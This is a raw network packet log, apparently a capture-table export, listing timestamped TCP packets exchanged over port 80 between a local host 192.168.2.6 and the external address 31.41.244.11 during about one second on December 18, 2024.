Dec 18, 2024 11:47:55.753686905 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753715992 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753715992 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.754167080 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.754384995 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754398108 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754410028 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754473925 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.754473925 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.754491091 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754509926 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754519939 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754530907 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754543066 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754559994 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.754580975 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754591942 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754602909 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754614115 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754618883 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.754618883 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.754625082 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754637003 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754647017 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.754674911 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.754674911 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.755279064 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.755291939 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.755301952 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.755337000 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.755371094 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.755403042 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.755455017 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.755466938 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.755477905 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.755516052 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.755516052 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.755666971 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.755677938 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.756021023 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.758868933 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.759058952 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.759079933 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.760817051 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.762473106 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.762574911 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.763341904 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.818324089 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.818432093 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.875050068 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.875096083 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.875170946 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.876611948 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.876663923 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.876704931 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.876754999 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.880390882 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.880474091 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.880573988 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.880666018 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.884007931 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.884063959 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.884073019 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.884246111 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.887401104 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.887558937 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.887645006 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.887685061 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.890791893 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.890847921 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.890893936 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.894108057 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.894198895 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.894293070 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.894404888 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.897465944 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.897571087 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.897614002 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.897614002 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.900824070 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.900882959 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.900940895 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.901283979 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.904230118 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.904283047 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.904288054 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.904485941 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.907545090 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.907665014 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.907707930 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.910948992 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.911011934 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.911159992 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.911218882 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.914407969 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.914515972 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.914555073 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.917645931 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.917721033 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.917721033 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.917871952 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.920965910 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.921019077 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.921078920 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.921250105 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.924741983 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.924802065 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.924819946 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.924926043 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.927828074 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.927910089 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.927951097 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.927951097 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.931145906 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.931247950 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.932755947 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.932812929 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.932845116 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.933334112 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.936125994 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.936178923 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.936388016 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.936502934 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.939548016 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.939599037 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.939635992 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.942837000 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.942878962 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.942929029 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.943020105 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.946233988 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.946324110 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.946358919 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.946358919 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.949542999 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.949654102 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.949856043 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.950472116 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.953181028 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.953248024 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.953259945 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.953347921 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.956316948 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.956433058 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.956660986 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.959641933 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.959733963 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.959769011 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.959831953 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.964092970 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.964117050 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.964273930 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.966988087 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.967080116 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.967150927 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.967150927 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.969855070 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.970031977 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.970068932 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.970068932 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.973064899 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.973114967 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.973172903 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.976406097 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.976504087 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.976557970 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.979736090 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.979851007 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.979917049 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.983171940 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.983299017 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.983360052 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.986496925 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.986624002 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.986660957 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.986660957 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.989923954 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.989985943 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.989986897 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.990247965 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.993215084 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.993329048 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.993355036 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.993371010 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.996521950 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.996609926 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.996654034 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.996654034 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.999955893 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.000021935 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.000122070 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.000169039 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.003295898 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.003349066 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.003479958 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.003595114 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.006613016 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.006705046 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.006747961 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.006798983 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.010011911 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.010113001 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.010137081 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.010179996 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.013364077 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.013462067 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.013495922 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.013495922 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.016752958 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.016803980 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.016931057 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.017036915 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.020066023 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.020127058 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.020193100 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.020282030 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.023443937 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.023538113 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.023540020 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.023596048 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.028233051 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.028250933 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.028285980 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.030307055 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.031024933 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.031070948 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.031160116 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.031425953 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.034401894 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.034537077 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.034574986 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.034574986 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.037688017 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.037822962 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.037858963 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.037858963 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.041214943 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.041270971 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.041347027 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.042360067 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.044855118 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.045053959 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.045093060 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.045093060 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.048290968 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.048435926 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.048475027 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.048475027 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.051405907 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.051552057 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.051589966 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.051589966 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.054392099 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.054519892 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.054559946 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.054560900 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.057722092 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.057791948 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.057856083 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.058382988 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.061316967 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.061638117 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.061678886 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.061678886 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.064274073 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.064310074 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.064451933 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.065315008 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.066488028 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.066596031 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.066632986 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.066632986 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.069555998 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.069597960 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.069634914 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.069771051 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.072355986 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.072411060 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.072451115 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.074171066 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.075400114 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.075431108 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.075486898 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.075486898 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.077169895 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.077224970 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.077244043 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.077303886 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.080279112 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.081248999 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.081298113 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.081298113 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.082505941 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.082521915 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.082571983 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.082571983 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.083668947 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.083987951 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.084026098 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.084026098 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.085624933 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.085664988 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.085963011 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.086365938 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.087475061 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.087785006 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.087830067 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.087830067 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.089334965 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.089509964 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.089549065 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.089549065 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.091161966 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.091334105 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.091375113 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.091375113 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.093039036 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.093220949 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.093257904 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.093257904 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.094865084 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.095010996 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.095047951 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.095047951 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.096553087 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.096708059 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.096745968 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.096745968 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.098345995 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.098539114 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.098578930 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.098578930 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.100239038 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.100253105 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.100298882 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.100298882 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.101877928 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.102035999 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.102076054 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.102076054 CET	49910	80	192.168.2.6	31.41.244.11
